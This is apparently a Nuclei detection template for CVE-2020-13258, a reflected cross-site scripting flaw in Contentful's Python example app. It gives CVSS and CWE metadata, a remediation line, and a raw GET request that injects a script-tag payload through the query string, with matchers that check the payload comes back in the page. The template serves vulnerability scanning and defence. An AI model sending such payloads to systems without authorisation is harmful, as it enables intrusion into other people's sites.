id: CVE-2020-13258

info:
  name: Contentful <=2020-05-21 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
  remediation: |
    Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/contentful/the-example-app.py/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13258
    cwe-id: CWE-79
    epss-score: 0.00464
    epss-percentile: 0.72315
    cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contentful
    product: python_example
  tags: cve,cve2020,contentful,xss

http:
  - raw:
      - |
        GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{'api': '"
          - "</script><script>alert(document.domain)</script>',"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200